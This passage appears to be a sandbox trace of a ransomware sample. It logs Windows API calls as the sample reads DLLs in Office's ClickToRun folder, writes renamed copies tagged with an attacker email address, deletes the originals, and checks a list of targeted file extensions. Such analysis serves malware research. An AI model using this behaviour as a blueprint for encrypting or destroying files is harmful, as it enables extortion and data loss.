lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0081.717] GetLastError () returned 0x0 [0081.717] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x4cc0, lpOverlapped=0x0) returned 1 [0082.279] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x4cd0, lpOverlapped=0x0) returned 1 [0082.280] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0082.281] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x110, lpOverlapped=0x0) returned 1 [0082.281] SetEndOfFile (hFile=0x370) returned 1 [0082.281] CloseHandle (hObject=0x370) returned 1 [0082.282] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.282] SetEndOfFile (hFile=0x38c) returned 1 [0082.283] CloseHandle (hObject=0x38c) returned 1 [0082.283] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0082.283] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 1 [0082.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0082.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0082.284] lstrlenW (lpString=".doc") returned 4 [0082.284] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.284] lstrlenW (lpString=".docx") returned 5 [0082.284] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0082.284] lstrlenW (lpString=".pdf") returned 4 [0082.284] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.284] lstrlenW (lpString=".xls") returned 4 [0082.284] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.284] lstrlenW (lpString=".xlsx") returned 5 [0082.284] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0082.284] lstrlenW (lpString=".ppt") returned 4 [0082.284] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0082.284] lstrlenW (lpString=".zip") returned 4 [0082.284] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.284] lstrlenW (lpString=".rar") returned 4 [0082.284] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.284] lstrlenW (lpString=".bz2") returned 4 [0082.284] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.284] lstrlenW (lpString=".7z") returned 3 [0082.284] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0082.284] lstrlenW (lpString=".dbf") returned 4 [0082.284] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0082.284] lstrlenW (lpString=".1cd") returned 4 [0082.284] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.284] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0082.284] lstrlenW (lpString=".jpg") returned 4 [0082.284] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0082.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0082.285] lstrlenW (lpString=".doc") returned 4 [0082.285] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.285] lstrlenW (lpString=".docx") returned 5 [0082.285] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0082.285] lstrlenW (lpString=".pdf") returned 4 [0082.285] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.285] lstrlenW (lpString=".xls") returned 4 [0082.285] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.285] lstrlenW (lpString=".xlsx") returned 5 [0082.285] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0082.285] lstrlenW (lpString=".ppt") returned 4 [0082.285] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0082.285] lstrlenW (lpString=".zip") returned 4 [0082.285] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.285] lstrlenW (lpString=".rar") returned 4 [0082.285] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.285] lstrlenW (lpString=".bz2") returned 4 [0082.285] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.285] lstrlenW (lpString=".7z") returned 3 [0082.285] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0082.285] lstrlenW (lpString=".dbf") returned 4 [0082.285] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0082.285] lstrlenW (lpString=".1cd") returned 4 [0082.285] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.285] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned 88 [0082.285] lstrlenW (lpString=".jpg") returned 4 [0082.286] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.286] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.286] lstrlenW (lpString="api-ms-win-crt-time-l1-1-0.dll") returned 30 [0082.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0082.286] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=21184) returned 1 [0082.286] CloseHandle (hObject=0x38c) returned 1 [0082.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20 [0082.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0082.286] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.286] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.286] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0082.287] GetLastError () returned 0x0 [0082.287] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x52c0, lpOverlapped=0x0) returned 1 [0082.288] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x52d0, lpOverlapped=0x0) returned 1 [0082.290] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0082.290] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x110, lpOverlapped=0x0) returned 1 [0082.290] SetEndOfFile (hFile=0x370) returned 1 [0082.290] CloseHandle (hObject=0x370) returned 1 [0082.291] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.291] SetEndOfFile (hFile=0x38c) returned 1 [0082.292] CloseHandle (hObject=0x38c) returned 1 [0082.292] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0082.292] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 1 [0082.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0082.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0082.293] lstrlenW (lpString=".doc") returned 4 [0082.293] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.293] lstrlenW (lpString=".docx") returned 5 [0082.293] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0082.293] lstrlenW (lpString=".pdf") returned 4 [0082.293] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.293] lstrlenW (lpString=".xls") returned 4 [0082.293] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.293] lstrlenW (lpString=".xlsx") returned 5 [0082.293] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0082.293] lstrlenW (lpString=".ppt") returned 4 [0082.293] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0082.293] lstrlenW (lpString=".zip") returned 4 [0082.293] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.293] lstrlenW (lpString=".rar") returned 4 [0082.293] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.293] lstrlenW (lpString=".bz2") returned 4 [0082.293] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.293] lstrlenW (lpString=".7z") returned 3 [0082.293] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0082.293] lstrlenW (lpString=".dbf") returned 4 [0082.293] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0082.293] lstrlenW (lpString=".1cd") returned 4 [0082.293] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0082.293] lstrlenW (lpString=".jpg") returned 4 [0082.293] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0082.293] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0082.294] lstrlenW (lpString=".doc") returned 4 [0082.294] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.294] lstrlenW (lpString=".docx") returned 5 [0082.294] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0082.294] lstrlenW (lpString=".pdf") returned 4 [0082.294] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.294] lstrlenW (lpString=".xls") returned 4 [0082.294] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.294] lstrlenW (lpString=".xlsx") returned 5 [0082.294] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0082.294] lstrlenW (lpString=".ppt") returned 4 [0082.294] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0082.294] lstrlenW (lpString=".zip") returned 4 [0082.294] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.294] lstrlenW (lpString=".rar") returned 4 [0082.294] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.294] lstrlenW (lpString=".bz2") returned 4 [0082.294] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.294] lstrlenW (lpString=".7z") returned 3 [0082.294] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0082.294] lstrlenW (lpString=".dbf") returned 4 [0082.294] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0082.294] lstrlenW (lpString=".1cd") returned 4 [0082.294] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.294] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0082.294] lstrlenW (lpString=".jpg") returned 4 [0082.294] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.294] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.295] lstrlenW (lpString="api-ms-win-crt-utility-l1-1-0.dll") returned 33 [0082.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0082.295] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=19136) returned 1 [0082.295] CloseHandle (hObject=0x38c) returned 1 [0082.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x20 [0082.295] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0082.295] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.295] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0082.296] GetLastError () returned 0x0 [0082.296] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0082.298] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0082.299] ReadFile (in: hFile=0x38c, lpBuffer=0x35f1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1 [0082.299] WriteFile (in: hFile=0x370, lpBuffer=0x35f1020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x35f1020*, lpNumberOfBytesWritten=0x2adfc94*=0x116, lpOverlapped=0x0) returned 1 [0082.299] SetEndOfFile (hFile=0x370) returned 1 [0082.299] CloseHandle (hObject=0x370) returned 1 [0082.300] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1 [0082.300] SetEndOfFile (hFile=0x38c) returned 1 [0082.301] CloseHandle (hObject=0x38c) returned 1 [0082.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0082.302] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-utility-l1-1-0.dll")) returned 1 [0082.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0082.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0082.302] lstrlenW (lpString=".doc") returned 4 [0082.302] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.302] lstrlenW (lpString=".docx") returned 5 [0082.302] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0082.302] lstrlenW (lpString=".pdf") returned 4 [0082.302] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.302] lstrlenW (lpString=".xls") returned 4 [0082.302] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.302] lstrlenW (lpString=".xlsx") returned 5 [0082.302] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0082.302] lstrlenW (lpString=".ppt") returned 4 [0082.302] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.302] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0082.302] lstrlenW (lpString=".zip") returned 4 [0082.302] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.302] lstrlenW (lpString=".rar") returned 4 [0082.302] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.303] lstrlenW (lpString=".bz2") returned 4 [0082.303] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.303] lstrlenW (lpString=".7z") returned 3 [0082.303] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0082.303] lstrlenW (lpString=".dbf") returned 4 [0082.303] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0082.303] lstrlenW (lpString=".1cd") returned 4 [0082.303] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0082.303] lstrlenW (lpString=".jpg") returned 4 [0082.303] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0082.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0082.303] lstrlenW (lpString=".doc") returned 4 [0082.303] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0082.303] lstrlenW (lpString=".docx") returned 5 [0082.303] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0082.303] lstrlenW (lpString=".pdf") returned 4 [0082.303] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0082.303] lstrlenW (lpString=".xls") returned 4 [0082.303] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0082.303] lstrlenW (lpString=".xlsx") returned 5 [0082.303] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0082.303] lstrlenW (lpString=".ppt") returned 4 [0082.303] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0082.303] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0082.303] lstrlenW (lpString=".zip") returned 4 [0082.303] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0082.303] lstrlenW (lpString=".rar") returned 4 [0082.303] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0082.303] lstrlenW (lpString=".bz2") returned 4 [0082.303] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0082.303] lstrlenW (lpString=".7z") returned 3 [0082.303] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0082.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0082.304] lstrlenW (lpString=".dbf") returned 4 [0082.304] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0082.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0082.304] lstrlenW (lpString=".1cd") returned 4 [0082.304] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0082.304] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned 91 [0082.304] lstrlenW (lpString=".jpg") returned 4 [0082.304] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0082.304] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0082.304] lstrlenW (lpString="ApiClient.dll") returned 13 [0082.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0082.304] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=162880) returned 1 [0082.304] CloseHandle (hObject=0x38c) returned 1 [0082.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0082.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0082.304] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0082.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0082.305] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned 71 [0082.305] lstrlenW 